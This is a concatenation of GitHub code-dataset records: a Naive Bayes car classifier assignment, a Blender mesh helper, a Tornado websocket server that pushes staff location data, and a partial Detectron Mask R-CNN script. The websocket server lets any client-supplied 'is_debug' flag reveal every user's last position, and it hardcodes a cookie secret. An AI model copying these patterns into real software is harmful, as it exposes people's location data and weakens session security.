prob_doors_2_u\r\n\r\n elif (testingData[i][2] == 4):\r\n display_text_a += 'P(4_#_doors |A)*'\r\n display_equation_a += \"(\"+ str(prob_doors_4_a)+ \")\"\r\n prob_a *= prob_doors_4_a\r\n\r\n display_text_u += 'P(4_#_doors |U)*'\r\n display_equation_u += \"(\"+ str(prob_doors_4_u)+ \")\"\r\n prob_u *= prob_doors_4_u\r\n\r\n #\r\n #checking Trunk Size column\r\n if (testingData[i][3].lower() == 'large'):\r\n display_text_a += 'P(large_trunk_size |A)*'\r\n display_equation_a += \"(\"+ str(prob_trunk_size_large_a)+ \")\"\r\n prob_a *= prob_trunk_size_large_a\r\n\r\n display_text_u += 'P(large_trunk_size |U)*'\r\n display_equation_u += \"(\"+ str(prob_trunk_size_large_u)+ \")\"\r\n prob_u *= prob_trunk_size_large_u\r\n\r\n elif (testingData[i][3].lower() == 'medium'):\r\n display_text_a += 'P(medium_trunk_size |A)*'\r\n display_equation_a += \"(\"+ str(prob_trunk_size_medium_a)+ \")\"\r\n prob_a *= prob_trunk_size_medium_a\r\n\r\n display_text_u += 'P(medium_trunk_size |U)*'\r\n display_equation_u += \"(\"+ str(prob_trunk_size_medium_u)+ \")\"\r\n prob_u *= prob_trunk_size_medium_u\r\n\r\n elif (testingData[i][3].lower() == 'small'):\r\n display_text_a += 'P(small_trunk_size |A)*'\r\n display_equation_a += \"(\"+ str(prob_trunk_size_small_a)+ \")\"\r\n prob_a *= prob_trunk_size_small_a\r\n\r\n display_text_u += 'P(small_trunk_size |U)*'\r\n display_equation_u += \"(\"+ str(prob_trunk_size_small_u)+ \")\"\r\n prob_u *= prob_trunk_size_small_u\r\n \r\n\r\n #\r\n #checking Safety column\r\n if (testingData[i][4].lower() == 'high'):\r\n display_text_a += 'P(high_safety |A)'\r\n display_equation_a += \"(\"+ str(prob_safety_high_a)+ \")\"\r\n prob_a *= prob_safety_high_a\r\n\r\n display_text_u += 'P(high_safety |U)'\r\n display_equation_u += \"(\"+ str(prob_safety_high_u)+ \")\"\r\n prob_u *= prob_safety_high_u\r\n\r\n elif (testingData[i][4].lower() == 'medium'):\r\n display_text_a += 'P(medium_safety |A)'\r\n display_equation_a += \"(\"+ str(prob_safety_medium_a)+ \")\"\r\n prob_a *= prob_safety_medium_a\r\n\r\n display_text_u += 'P(medium_safety |U)'\r\n display_equation_u += \"(\"+ str(prob_safety_medium_u)+ \")\"\r\n prob_u *= prob_safety_medium_u\r\n\r\n elif (testingData[i][4].lower() == 'low'):\r\n display_text_a += 'P(low_safety |A)'\r\n display_equation_a += \"(\"+ str(prob_safety_low_a)+ \")\"\r\n prob_a *= prob_safety_low_a\r\n\r\n display_text_u += 'P(low_safety |U)'\r\n display_equation_u += \"(\"+ str(prob_safety_low_u)+ \")\"\r\n prob_u *= prob_safety_low_u\r\n\r\n ##display some results\r\n print(\"\\nClassifying: \" + str(i+1) + \"/\"+str(n_testing) + \":\")\r\n print(\"The unseen sample X = <\" + testingData[i][0].lower() + \"_purchase, \"+ testingData[i][1].lower()\r\n + \"_maintenance, \"+ str(testingData[i][2]) + \"_#_doors, \" + testingData[i][3].lower()\r\n + \"_trunk_size, \" + testingData[i][4].lower() + \"_safety>\")\r\n print(\"\\nP(A|X):\")\r\n print(\"= \"+display_text_a)\r\n print(\"= \"+ display_equation_a)\r\n print(\"= \" + str(prob_a))\r\n\r\n print(\"\\nP(U|X):\")\r\n print(\"= \"+display_text_u)\r\n print(\"= \"+ display_equation_u)\r\n print(\"= \" + str(prob_u))\r\n \r\n #calculate/display classification:\r\n label = \"\"\r\n\r\n if (prob_a > prob_u):\r\n label = \"acceptable\"\r\n elif (prob_u > prob_a):\r\n label = \"unacceptable\"\r\n else:\r\n label = \"unknown\" #either 0 or they are the same\r\n\r\n print(\"\\nTherefore, we predict: \" + label)\r\n\r\n #checking for error.\r\n if (label == testingData[i][5]):\r\n print(\"Our prediction is Correct!\")\r\n else:\r\n total_num_errors += 1\r\n if (label == 'acceptable' or label == 'unacceptable'):\r\n print(\"Our prediction is Incorrect.\")\r\n else:\r\n print(\"Our prediction is Unknown.\")\r\n\r\n #\r\n print(\"\\n----------------------------------------------------------------\")\r\n print(\"For any prediction that is Unknown, I will assume it is an error.\")\r\n print(\"After classifying \" + str(n_testing) + \" unseen samples, we got \" + str(total_num_errors) + \" errors.\")\r\n print(\"Therefore, our predictions were correct for \" + str(n_testing-total_num_errors) + \"/\" + str(n_testing) + \".\")\r\n \r\n\r\n\r\n\r\ndef main():\r\n try:\r\n trainingData, testingData = getRawData() #getting the training Data and testing Data\r\n except FileNotFoundError:\r\n print(\"Error, trainingData.xlsx and/or testingData.xlsx not found.\")\r\n input(\"Please press Enter key to close the program...\")\r\n return\r\n\r\n question1(trainingData,testingData)\r\n print(\"\\nEnd of Assignment 3.\")\r\n input(\"Please press Enter key to close the program...\")\r\n \r\n\r\n\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n#End of File: _4DM3_A3_SaberyGhomy.py","repo_name":"saberyge-mcmaster/portfolio","sub_path":"_4DM3_A3_SaberyGhomy.py","file_name":"_4DM3_A3_SaberyGhomy.py","file_ext":"py","file_size_in_byte":19904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7532327210","text":"import bpy\n\n\ndef make_mesh(scene, verts, edges, faces, name=\"MyObj\"):\n \"\"\"\n Create a mesh object with the given vertices, edges, and faces & name\n \"\"\"\n\n mesh = bpy.data.meshes.new(name)\n obj = bpy.data.objects.new(name, mesh)\n scene.objects.link(obj)\n\n mesh.from_pydata(verts, edges, faces)\n\n mesh.update()\n return obj\n","repo_name":"doakey3/vsedraw","sub_path":"operators/utils/make_mesh.py","file_name":"make_mesh.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"21412027934","text":"# -*-coding:utf-8-*-\nimport tornado.httpserver, time\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nimport tornado.httpclient\nimport tornado.gen\nimport os.path\nimport sys\nimport re\nfrom flask_server import port\nimport tornado.autoreload\nimport threading, json\nimport datetime\nimport log_module\nfrom tornado.options import define, options\nimport tornado.websocket\nimport random\nimport mongo_db\nimport hashlib\nimport requests\nimport urllib.request\nimport urllib.parse\nimport platform\nfrom tools_module import get_platform_cors_session_dict\nfrom tools_module import save_platform_cors_session\nfrom tools_module import save_platform_cors_session\nfrom api.data.item_module import Track\nfrom manage.company_module import Employee\n\n\nlogger = log_module.get_logger(\"ws_server\")\ncache = mongo_db.cache\n\n\nclass BlackIpDict:\n \"\"\"黑名单类\"\"\"\n cache_key = \"ws_handler_black_ip_dict\"\n black_ip_map = cache.get(cache_key)\n if black_ip_map is None:\n black_ip_map = dict()\n\n @classmethod\n def clear(cls) -> None:\n \"\"\"清除缓存中的数据\"\"\"\n key = cls.cache_key\n cache.delete(key)\n\n @classmethod\n def save_data(cls, map_data) -> None:\n \"\"\"保存数据到cache\n :param map_data: ���的map数据\n \"\"\"\n cls.black_ip_map = map_data\n\n @classmethod\n def get_data(cls) -> dict:\n \"\"\"返回一个handler_map对象\n return: dict\n \"\"\"\n return cls.black_ip_map\n\n @classmethod\n def check_ip(cls, ip)->bool:\n \"\"\"检查一个ip是否合法?\n :param ip“IP地址\n ”return 合法返回True(不在黑名单中)\n \"\"\"\n data = cls.get_data()\n if ip in data.keys():\n return False\n else:\n return True\n\n @classmethod\n def remove_ip(cls, ip)->None:\n \"\"\"\n 从黑名单列表中清除一个ip的信息\n :param ip: ip地址\n :return: None\n \"\"\"\n data = cls.get_data()\n if ip in data.keys():\n data.pop(ip)\n cls.save_data(data)\n else:\n pass\n\n @classmethod\n def add_ip(cls, ip, ip_obj)->None:\n \"\"\"\n 向黑名单列表中添加一个ip的信息\n :param ip: ip地址\n :param ip_obj: ip地址信息\n :return: None\n \"\"\"\n data = cls.get_data()\n data[ip] = ip_obj\n cls.save_data(data)\n\n\nclass WSIdMap:\n \"\"\"\n 操作ws的handler,ws_id,user_id的类,记录的是三者之间的对应关系\n\n cache_key_ws_handler用于记录ws_id与user_id&handler的对应关系。\n cache_key_user_ws 用于记录user_id和ws_id的对应关系\n\n cache_key_ws_handler字典格式如下:\n {\n ws_id: # web_socket客户端id的str格式。\n {\n handler:WebSocketHandler.instance, # 一个WebSocketHandler的实例。\n user_id:user_id_str # 用户的ObjectId的str\n },\n ...\n }\n cache_key_user_ws字典的格式如下:\n {\n user_id: ws_id, # 用户的ObjectId的str: web_socket客户端id的str格式\n ...\n }\n \"\"\"\n cache_key_ws_handler = \"ws_handler_and_ws_client_id\"\n cache_key_user_ws = \"user_id_and_ws_client_id\"\n handler_map = cache.get(cache_key_ws_handler)\n id_map = cache.get(cache_key_user_ws)\n if handler_map is None:\n handler_map = dict()\n if id_map is None:\n id_map = dict()\n\n @classmethod\n def save_data(cls, map_data: dict, id_map: dict)->None:\n \"\"\"保存数据到cache\n :param map_data: 新的handler map数据\n :param id_map: 新的id map数据\n \"\"\"\n cls.handler_map = map_data\n cls.id_map = id_map\n\n @classmethod\n def get_data(cls)->tuple:\n \"\"\"返回一个tuple对象,包含handler_map和id_map\n return: tuple\n \"\"\"\n return cls.handler_map, cls.id_map\n\n @classmethod\n def clear(cls)->None:\n \"\"\"清除缓存中的数据,启动系统时使用,用于避免历史数据的干扰\"\"\"\n key = cls.cache_key_ws_handler\n cache.delete(key)\n key = cls.cache_key_user_ws\n cache.delete(key)\n\n @classmethod\n def client_on_line(cls, ws_id: str, user_id: str, client_obj: tornado.websocket.WebSocketHandler)->None:\n \"\"\"\n web-socket客户端上线/连接成功。这个方法应该在WebSocketHandler对象open的时候被调用。\n :param ws_id: 客户端id\n :param user_id: 登录用户的id\n :param client_obj: 客户端对象\n :return:None\n \"\"\"\n handler_maps, id_map = cls.get_data()\n handler_maps[ws_id] = {\"handler\": client_obj, \"user_id\": user_id}\n id_map[user_id] = ws_id\n cls.save_data(handler_maps, id_map)\n\n @classmethod\n def client_off_line(cls, ws_id)->None:\n \"\"\"\n web-sockegt客户端下线/断开链接。这个方法应该在WebSocketHandler对象发生on_close事件,\n 执行WebSocketHandler对象的close方法,或者WebSocketHandler对象在执行write_message\n 方法(也可能在其他场景下)抛出WebSocketClosedError错误的时候被调用。\n :param ws_id:客户端id\n :return:None\n \"\"\"\n handler_maps, id_map = cls.get_data()\n try:\n temp = handler_maps.pop(ws_id)\n \"\"\"\n 成功的话:\n temp = {\n handler:WebSocketHandler.instance, # 一个WebSocketHandler的实例。\n user_id:user_id_str # 用户的ObjectId的str\n }\n \"\"\"\n user_id = temp['user_Id']\n id_map.pop(user_id)\n except KeyError as e:\n print(e)\n except AttributeError as e1:\n print(e1)\n logger.exception(\"{} Error\".format(sys._getframe().f_code.co_name), exc_inf=True, stack_info=True)\n finally:\n cls.save_data(handler_maps, id_map)\n\n @classmethod\n def handler_is_none(cls, handler: tornado.websocket.WebSocketHandler)->None:\n \"\"\"\n 在发送消息失败的时候,把handler从id和handler的映射集合中移除。\n :param handler: tornado.websocket.WebSocketHandler的实例,一般是self\n :return:\n \"\"\"\n try:\n ws_id = handler.ws_id\n cls.client_off_line(ws_id)\n except AttributeError as e:\n print(e)\n pass\n\n\ndef check_session(handler: tornado.websocket.WebSocketHandler)->str:\n \"\"\"\n 检查某个ws客户端是否已经登录?\n 这个是从redis中取登录用户id的方法\n :param handler: 一个tornado.websocket.WebSocketHandler的实例\n :return: 用户id的字符串格式\n \"\"\"\n res = None\n if isinstance(handler, tornado.websocket.WebSocketHandler):\n ses_str = None\n try:\n ses_str = handler.cookies['session'].value\n except KeyError as e:\n print(e)\n except Exception as e1:\n logger.exception(\"Error\")\n raise e1\n finally:\n if ses_str is None:\n pass # 没有登录或者跨域用户登录\n else:\n \"\"\"是本域用户,开始从flask-session的会话中取值\"\"\"\n key = \"session:{}\".format(ses_str)\n val = cache.get(key)\n if val is None:\n pass\n else:\n val = val.decode(\"windows-1252\")\n temp_set = val.split(\"user_id\")\n temp_str = temp_set[-1]\n pattern = re.compile(r'\\w{24}') # 匹配ObjectId的字符串\n user_id = re.search(pattern, temp_str)\n if user_id is None:\n pass\n else:\n res = user_id.group()\n \"\"\"如果这时候res还是None的话,开始针对跨域用户检测\"\"\"\n if res is None:\n \"\"\"没有从session中取得用户id,那可能是跨域用户,就取sid\"\"\"\n cors = handler.get_argument(\"cors\", None)\n sid = handler.get_argument(\"sid\", None)\n if cors == \"cors\" and isinstance(sid, str) and len(sid) == 32:\n user_dict = get_platform_cors_session_dict(sid)\n if isinstance(user_dict, dict):\n res = user_dict['user_id']\n else:\n pass\n return res\n\n\ndef get_real_ip(req)->str:\n \"\"\"\n 获取当前请求的真实ip。参数只有一个:\n 1.req 当前的请求。一般都是传入当前上下文的request\n return ip地址(字符串格式)\n 注意,如果前端的反向代理服务器是nginx的话,需要在配置文件中加上几句。\n 在location / 配置下面的proxy_pass http://127.0.0.1:5666; 后面加上\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n 然后才可以用headers[\"X-Forwarded-For\"]取真实ip\n 虽然只加proxy_set_header X-Real-IP $remote_addr;这一句的话。\n 也可以用request.headers[\"X-Real-IP\"]获取。\n 但为了和IIS的兼容性。还是需要再加一句\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n 参数\n :parm req: flask 是request对象,\n tornado是 tornado.web.RequestHandler.request或者tornado.websocket.WebSocketHandler.reuest\n \"\"\"\n try:\n ip = req.headers[\"X-Forwarded-For\"].split(\":\")[0]\n except KeyError as e:\n ip = req.remote_ip # 注意:tornado是 request.remote_ip flask是 req.remote_addr\n if ip.find(\",\") != -1:\n \"\"\"处理微信登录时转发的双ip\"\"\"\n ip = ip.split(\",\")[0]\n return ip\n\n\n# 文字直播室公共消息的群发\ndef send_all(message): #\n global WS_DICT\n for ws_id in WS_DICT:\n handler = WS_DICT[ws_id]\n handler.send_message(json.dumps(message))\n\n\n# 老师的界面,ws通讯方法,群发\ndef send_all_dialogs(message): #\n global ANSWER_WS_DICT\n for ws_id in ANSWER_WS_DICT:\n handler = ANSWER_WS_DICT[ws_id]\n handler.send_message(json.dumps(message))\n\n\n# 限制FIRST_INFO的长度,防止客户在打开时候一次接收消息过多。\ndef check_info_length():\n global FIRST_INFO\n if len(FIRST_INFO) > 30:\n FIRST_INFO = FIRST_INFO[len(FIRST_INFO) - 15:]\n else:\n pass\n\n\nclass Hello(tornado.web.RequestHandler):\n \"\"\"测试类\"\"\"\n @tornado.gen.coroutine\n def get(self):\n ip = get_real_ip(self.request)\n self.write(\"hello world, ip={}\".format(ip))\n\n @tornado.gen.coroutine\n def post(self):\n self.send_error(405)\n\n\nasync def keep_cors_session_beat(sid: str) -> bool:\n \"\"\"\n 维持跨域用户的会话的心跳,心跳最大间隔期在tools_module模块中的cors_session_timeout设置\n :param sid: 会话id\n :return:\n \"\"\"\n key = \"session_key_{}\".format(sid)\n user_dict = cache.get(key)\n res = False\n if isinstance(user_dict, dict):\n res = await save_platform_cors_session(**user_dict)\n\n return res\n\n\nclass ListenCORSSessionBeat(tornado.web.RequestHandler):\n \"\"\"监听跨域用户的会话心跳\"\"\"\n @tornado.gen.coroutine\n def get(self):\n message = {\"message\": \"success\"}\n sid = self.get_argument('sid', None)\n if sid:\n res = yield keep_cors_session_beat(sid)\n if res:\n pass\n else:\n message['message'] = \"error\"\n else:\n message['message'] = 'validate sid'\n self.write(json.dumps(message))\n\n def set_default_headers(self):\n \"\"\"跨域\"\"\"\n self.set_header('Access-Control-Allow-Origin', '*')\n self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')\n self.set_header('Access-Control-Max-Age', 1000)\n self.set_header('Access-Control-Allow-Headers', '*')\n self.set_header('Cache-Control', 'public, max-age=7200')\n self.set_header('Content-type', 'text/script') # 指定了返回类型\n\n\nclass InfoHandler(tornado.websocket.WebSocketHandler): # ws服务器必须继承于tornado.websocket.WebSocketHandler。\n \"\"\"实时推送消息的服务\"\"\"\n def check_origin(self, origin): # 重写同源检查的方法,在每次请求到达时最先执行\n ip = get_real_ip(self.request)\n if BlackIpDict.check_ip(ip):\n \"\"\"黑名单检查通过\"\"\"\n return True\n else:\n return False\n\n def write_message(self, message: (str, dict), binary: bool = False):\n \"\"\"\n 覆盖了同名的方法。发送消息给ws客户端,用于生产环境,已进行了异常处理。\n :param message: 发送的消息,如果是dict的话,会被自动json\n :param binary: False发送的是utf-8编码的字符串,否则发送的是字节对象。\n :return: 一个对象,用于后继处理\n 注意,发送消息的格式是和客户端约定的。\n 发给消息一定是字典格式,并且遵照一定的格式。\n {\n mes_type: string 消息类型 字符串格式,用于区别不同的操作。\n data_dict: dict 消息内容,字典格式,自行约定\n }\n 比如,发给客户端的欢迎信息\n {\"mes_type\":\"welcome\", \"data_dict\":{},\"message\":\"你好,用户\"}\n \"\"\"\n if self.ws_connection is None:\n print(\"client {} is lost connect\".format(self.ws_id))\n WSIdMap.handler_is_none(self)\n else:\n if isinstance(message, dict):\n message = tornado.escape.json_encode(message)\n return self.ws_connection.write_message(message, binary=binary)\n\n @staticmethod\n def package_message(mes_type: str, data_dict: (dict, list) = None, message: str = \"success\")->dict:\n \"\"\"\n 包装消息字典的工具。把消息快速打包成符合发送格式要求的方法。\n :param mes_type: 消息类型。\n :param data_dict: 消息参数的字典/数组\n :param message: 消息状态,表示成功或者失败,也可以自定义一段话。\n :return:包装好的而消息字典\n \"\"\"\n data_dict = dict() if data_dict is None else data_dict\n data = {\"mes_type\": mes_type, \"data_dict\": data_dict, \"message\": message}\n return data\n\n def open(self): # 此方法在每次连接到达时执行。会给客户发送open的状态。\n ws_id = self.request.headers[\"Sec-Websocket-Key\"] # web-socket客户端id\n self.ws_id = ws_id\n user_id_str = None\n sid = self.get_argument(\"sid\", None) # 取跨域用户id\n user_dict = get_platform_cors_session_dict(sid)\n if isinstance(user_dict, dict):\n user_id_str = user_dict['user_id']\n if user_id_str is None:\n user_id_str = check_session(self) # 从会话获取一般用户用户id\n if user_id_str is None:\n self.close(406, \"没有登录\")\n else:\n WSIdMap.client_on_line(ws_id, user_id_str, self) # 填充客户端id映射集合\n \"\"\"检查身份的方法暂时省略\"\"\"\n mes = \"welcome! your id is {}\".format(ws_id)\n mes_type = \"welcome\"\n message = self.package_message(mes_type, None, mes)\n self.write_message(message) # 发送欢迎信息\n\n def on_close(self): # 此方法必须写,用于防止用户直接关闭浏览器导致的异常。\n ws_id = self.request.headers[\"Sec-Websocket-Key\"] # 从当前被关闭的连接中取出安全id\n WSIdMap.client_off_line(ws_id) # 从线程池弹出此线程\n\n def on_message(self, message: str):\n \"\"\"\n 接收到客户端发来的消息时\n :param message: 消息内容。json化的字典\n :return:\n 注意,客户端发来的消息是有固定格式的。\n {\n mes_type: string 消息类型 字符串格式,用于区别不同的操作。\n data_dict: dict 消息内容,字典格式,自行约定\n }\n \"\"\"\n try:\n message = json.loads(message)\n except json.decoder.JSONDecodeError as e:\n print(e)\n message = message\n except Exception as e1:\n print(e1)\n logger.exception(\"Error\")\n message = None\n raise e1\n finally:\n print(\"on message \", end='')\n print(message)\n \"\"\"开始处理消息\"\"\"\n if isinstance(message, dict):\n \"\"\"只处理合法的类型的请求\"\"\"\n mes_type = message['mes_type'] # 请求类型\n arg_dict = message.get('data_dict') # 参数字典,不一定存在\n \"\"\"检查身份,不一定成功\"\"\"\n user_id = check_session(self)\n if user_id is None:\n \"\"\"用户身份检测失败\"\"\"\n pass\n else:\n \"\"\"开始分类处理消息\"\"\"\n if mes_type == \"all_last_position\":\n \"\"\"\n 获取所有自己能看到的最后一次更新数据的位置点信息,\n 一般是在客户端刚刚连接上的时候发送的请求\n \"\"\"\n if arg_dict is not None:\n \"\"\"调试模式,可以查看所有用户\"\"\"\n is_debug = arg_dict.get(\"is_debug\")\n if is_debug:\n user_id = \"debug\"\n else:\n pass\n else:\n pass\n message = all_last_position(user_id)\n else:\n mes = \"未知的请求类型:{}\".format(mes_type)\n mesage = self.package_message(mes_type, message=mes)\n if message is not None:\n self.write_message(message)\n else:\n pass\n\n def on_connection_close(self):\n ws_id = self.request.headers[\"Sec-Websocket-Key\"] # 从当前被关闭的连接中取出安全id\n WSIdMap.client_off_line(ws_id)\n\n\nclass ListenRequestHandler(tornado.web.RequestHandler):\n \"\"\"\n 接受flask传来的数据,这是接受flask数据的主要方式.未完成\n flask发送来的消息的格式:\n {\n mes_type: string 消息类型 字符串格式,用于区别不同的操作。\n data_dict: dict 消息内容,字典格式,自行约定\n }\n \"\"\"\n def post(self):\n mes_type = self.get_argument(\"mes_type\", default=None)\n if mes_type is None:\n self.write_error(406, exc_info=\"类型参数不能为空\")\n else:\n if mes_type == \"last_position\":\n data_dict = self.get_argument('data_dict', dict())\n user_id = data_dict['position']\n\n\n# 查看ip黑名单\nclass ViewBlackIpHandler(tornado.web.RequestHandler):\n def get(self):\n global BLACK_IP\n self.write(json.dumps(BLACK_IP))\n\n\n# 统计在线人数/ip\nclass OnlineCount(tornado.web.RequestHandler):\n @tornado.gen.coroutine\n def get(self):\n global ID_IP\n self.write({\"count\": len(ID_IP)})\n\n @tornado.gen.coroutine\n def post(self):\n global ID_IP\n self.write({\"ID_IP\": ID_IP})\n\n\n\"\"\"定义消息函数集合,专门处理和client的通讯消息,注意,这个系列的函数名必须调用时的mes_type保持一致\"\"\"\n\n\ndef all_last_position(user_id: str)->dict:\n \"\"\"\n\n 获取最后的位置点,为show_points函数提供数据。web-socket使用\n :param user_id: 用户的id,24位字符串,代表请求者的身份,注意这是一次性请求。\n :return:标准消息字典\n \"\"\"\n res = list()\n mes_type = sys._getframe().f_code.co_name\n user_id = user_id # user_id = \"debug\" 是调试用,查看所有的人的位置\n subordinate_id_list = Employee.subordinates_id(user_id) # 获取下属/能查看的用户列表。\n if subordinate_id_list is None:\n \"\"\"user_id错误\"\"\"\n mes = \"user_id错误\"\n res = InfoHandler.package_message(mes_type, message=mes)\n else:\n if len(subordinate_id_list) == 0:\n \"\"\"没有下属,只能查看自己的位置了\"\"\"\n subordinate_id_list = [mongo_db.get_obj_id(user_id)]\n key = \"all_last_position_{}\".format(user_id)\n user_position_dict = cache.get(key)\n if user_position_dict is None:\n user_position_dict = Track.get_last_position(subordinate_id_list) # 获取最后的点信息\n if sys.platform == \"linux\":\n timeout = 60 * 20\n else:\n timeout = 60 * 60 * 12\n cache.set(key, user_position_dict, timeout=timeout)\n else:\n pass\n user_position_list = list(user_position_dict.values())\n res = InfoHandler.package_message(mes_type, user_position_list)\n return res\n\n\n\"\"\"消息函数集合定义结束\"\"\"\n\n\n# 定义一个app对象。\napp = tornado.web.Application(handlers=[\n (r'/ws', InfoHandler), # ws连接\n (r'/listen_request', ListenRequestHandler), # 接受flask发送过来的数据。\n (r'/listen_beat', ListenCORSSessionBeat), # 接受跨域用户发过来的会话心跳信息。\n (r'/hello', Hello), # 测试页面\n (r'/black_ip', ViewBlackIpHandler), # 查看黑名单\n (r'/online', OnlineCount), # 在线实时统计人数\n (r'/info', InfoHandler) # 实时消息\n\n], template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n cookie_secret=\"bZJc2sWbQLKos6GkHn/VB9oXwQt8S0R0kRvJ5/xJ89E=\", debug=False) # app的配置\n\n\nif __name__ == \"__main__\": # 标准写法。\n # 启动日志,调试时注销日志,以方便调试\n logger.info(\"begin....\")\n # 启动服务\n http_server = tornado.httpserver.HTTPServer(app) # 一个http_server的实例对象。\n port = port + 1\n if sys.platform == \"win32\":\n http_server.listen(port)\n print(\"windows系统,消息推送服务运行{0}端口\".format(port))\n tornado.ioloop.IOLoop.instance().start()\n else:\n\n http_server.bind(port)\n http_server.start(1) # 注意,多进程下可能会存在进程间通讯问题\n print(\"linux系统,消息推送服务运行{0}端口\".format(port))\n tornado.ioloop.IOLoop.current().start()","repo_name":"SYYDSN/py_projects","sub_path":"sq_platform/ws_server.old.py","file_name":"ws_server.old.py","file_ext":"py","file_size_in_byte":22738,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23475677576","text":"import os\nimport sys\nimport copy\nfrom argparse import Namespace\nimport numpy as np\nimport yaml\n\nfrom logging import getLogger\nlogger = getLogger()\n\nfrom caffe2.proto import caffe2_pb2\nfrom caffe2.python import core as caffe2_core\nfrom caffe2.python import workspace\n\nfrom detectron.utils.timer import Timer\nfrom detectron.core.config import (\n cfg, merge_cfg_from_file, merge_cfg_from_list, assert_and_infer_cfg)\nfrom detectron.utils.io import save_object\nfrom detectron.datasets.json_dataset import JsonDataset\nimport detectron.utils.boxes as box_utils\nfrom detectron.core.test import (\n im_detect_mask, segm_results, box_results_with_nms_and_limit)\nfrom detectron.core.test_engine import empty_results, extend_results\nfrom detectron.datasets import task_evaluation\n\nimport torch\n\nfrom mask_rcnn_model import initialize_model_from_cfg, MASK_RCNN_CONFIG\n# ------------------------------------------------------------------------------\ndef im_detect_bbox_given_features(model, features, im_info, im_scales, im_shape):\n \"\"\"Bounding box object detection for provided features with given box proposals.\n\n Arguments:\n model (DetectionModelHelper): the detection model to use\n features (dictionary of ndarray): high level features from which to run detection\n\n Returns:\n scores (ndarray): R x K array of object class scores for K classes\n (K includes background as object category 0)\n boxes (ndarray): R x 4*K array of predicted bounding boxes\n im_scales (list): list of image scales used in the input blob (as\n returned by _get_blobs and for use with im_detect_mask, etc.)\n \"\"\"\n # When mapping from image ROIs to feature map ROIs, there's some aliasing\n # (some distinct image ROIs get mapped to the same feature ROI).\n # Here, we identify duplicate feature ROIs, so we only compute features\n # on the unique subset.\n # Function simply adapted to use the input features and forward through the\n # head rather than input images through the entire network.\n\n if cfg.DEDUP_BOXES > 0 and not cfg.MODEL.FASTER_RCNN:\n v = np.array([1, 1e3, 1e6, 1e9, 1e12])\n hashes = np.round(inputs['rois'] * cfg.DEDUP_BOXES).dot(v)\n _, index, inv_index = np.unique(\n hashes, return_index=True, return_inverse=True)\n inputs['rois'] = inputs['rois'][index, :]\n boxes = boxes[index, :]\n\n # Add multi-level rois for FPN\n if cfg.FPN.MULTILEVEL_ROIS and not cfg.MODEL.FASTER_RCNN:\n _add_multilevel_rois_for_test(inputs, 'rois')\n\n blobs = copy.copy(features)\n blobs['im_info'] = im_info\n for k, v in blobs.items():\n workspace.FeedBlob(caffe2_core.ScopedName(k), v)\n workspace.RunNet(model.faster_rnn_head.Proto().name)\n\n # Read out blobs\n if cfg.MODEL.FASTER_RCNN:\n assert len(im_scales) == 1, \\\n 'Only single-image / single-scale batch implemented'\n rois = workspace.FetchBlob(caffe2_core.ScopedName('rois'))\n # unscale back to raw image space\n boxes = rois[:, 1:5] / im_scales[0]\n\n # use softmax estimated probabilities\n scores = workspace.FetchBlob(caffe2_core.ScopedName('cls_prob')).squeeze()\n\n # In case there is 1 proposal\n scores = scores.reshape([-1, scores.shape[-1]])\n\n if cfg.TEST.BBOX_REG:\n # Apply bounding-box regression deltas\n box_deltas = workspace.FetchBlob(caffe2_core.ScopedName('bbox_pred')).squeeze()\n # In case there is 1 proposal\n box_deltas = box_deltas.reshape([-1, box_deltas.shape[-1]])\n if cfg.MODEL.CLS_AGNOSTIC_BBOX_REG:\n # Remove predictions for bg class (compat with MSRA code)\n box_deltas = box_deltas[:, -4:]\n pred_boxes = box_utils.bbox_transform(\n boxes, box_deltas, cfg.MODEL.BBOX_REG_WEIGHTS)\n pred_boxes = box_utils.clip_tiled_boxes(pred_boxes, im_shape)\n if cfg.MODEL.CLS_AGNOSTIC_BBOX_REG:\n pred_boxes = np.tile(pred_boxes, (1, scores.shape[1]))\n else:\n # Simply repeat the boxes, once for each class\n pred_boxes = np.tile(boxes, (1, scores.shape[1]))\n\n if cfg.DEDUP_BOXES > 0 and not cfg.MODEL.FASTER_RCNN:\n # Map scores and predictions back to the original set of boxes\n scores = scores[inv_index, :]\n pred_boxes = pred_boxes[inv_index, :]\n\n return scores, pred_boxes, im_scales\n\n\n\ndef im_detect_all_given_features(model, subsampler, features, im_info, im_scales, im_shape, timers=None):\n if timers is None:\n timers = defaultdict(Timer)\n\n timers['im_detect_bbox'].tic()\n scores, boxes, im_scales = im_detect_bbox_given_features(model, features, im_info, im_scales, im_shape)\n timers['im_detect_bbox'].toc()\n\n # score and boxes are from the whole image after score thresholding and nms\n # (they are not separated by class)\n # cls_boxes boxes and scores are separated by class and in the format used\n # for evaluating results\n timers['misc_bbox'].tic()\n scores, boxes, cls_boxes = box_results_with_nms_and_limit(scores, boxes)\n timers['misc_bbox'].toc()\n\n if cfg.MODEL.MASK_ON and boxes.shape[0] > 0:\n timers['im_detect_mask'].tic()\n masks = im_detect_mask(model, im_scales, boxes)\n timers['im_detect_mask'].toc()\n\n timers['misc_mask'].tic()\n cls_segms = segm_results(\n cls_boxes, masks, boxes, im_shape[0], im_shape[1])\n timers['misc_mask'].toc()\n else:\n cls_segms = None\n\n return cls_boxes, cls_segms\n\n# ------------------------------------------------------------------------------\n# MaskRcnnHead definition\nclass MaskRcnnHead(object):\n def __init__(self, config, im_list, model=None, gpu_id=0): # im_list passed from cityscapes dataset\n self.nb_features = config['nb_features']\n self.split = config['split']\n self.im_list = im_list\n\n workspace.GlobalInit(['caffe2', '--caffe2_log_level=0'])\n if not cfg.is_immutable(): # just in case feature extractor has not been set up already\n dset = b'cityscapes_fine_instanceonly_seg_' + self.split\n args = Namespace(\n cfg_file = MASK_RCNN_CONFIG,\n wait = True,\n multi_gpu_testing = False,\n range = None, #[0, 3],\n opts = ['OUTPUT_DIR', config['save']]\n )\n\n 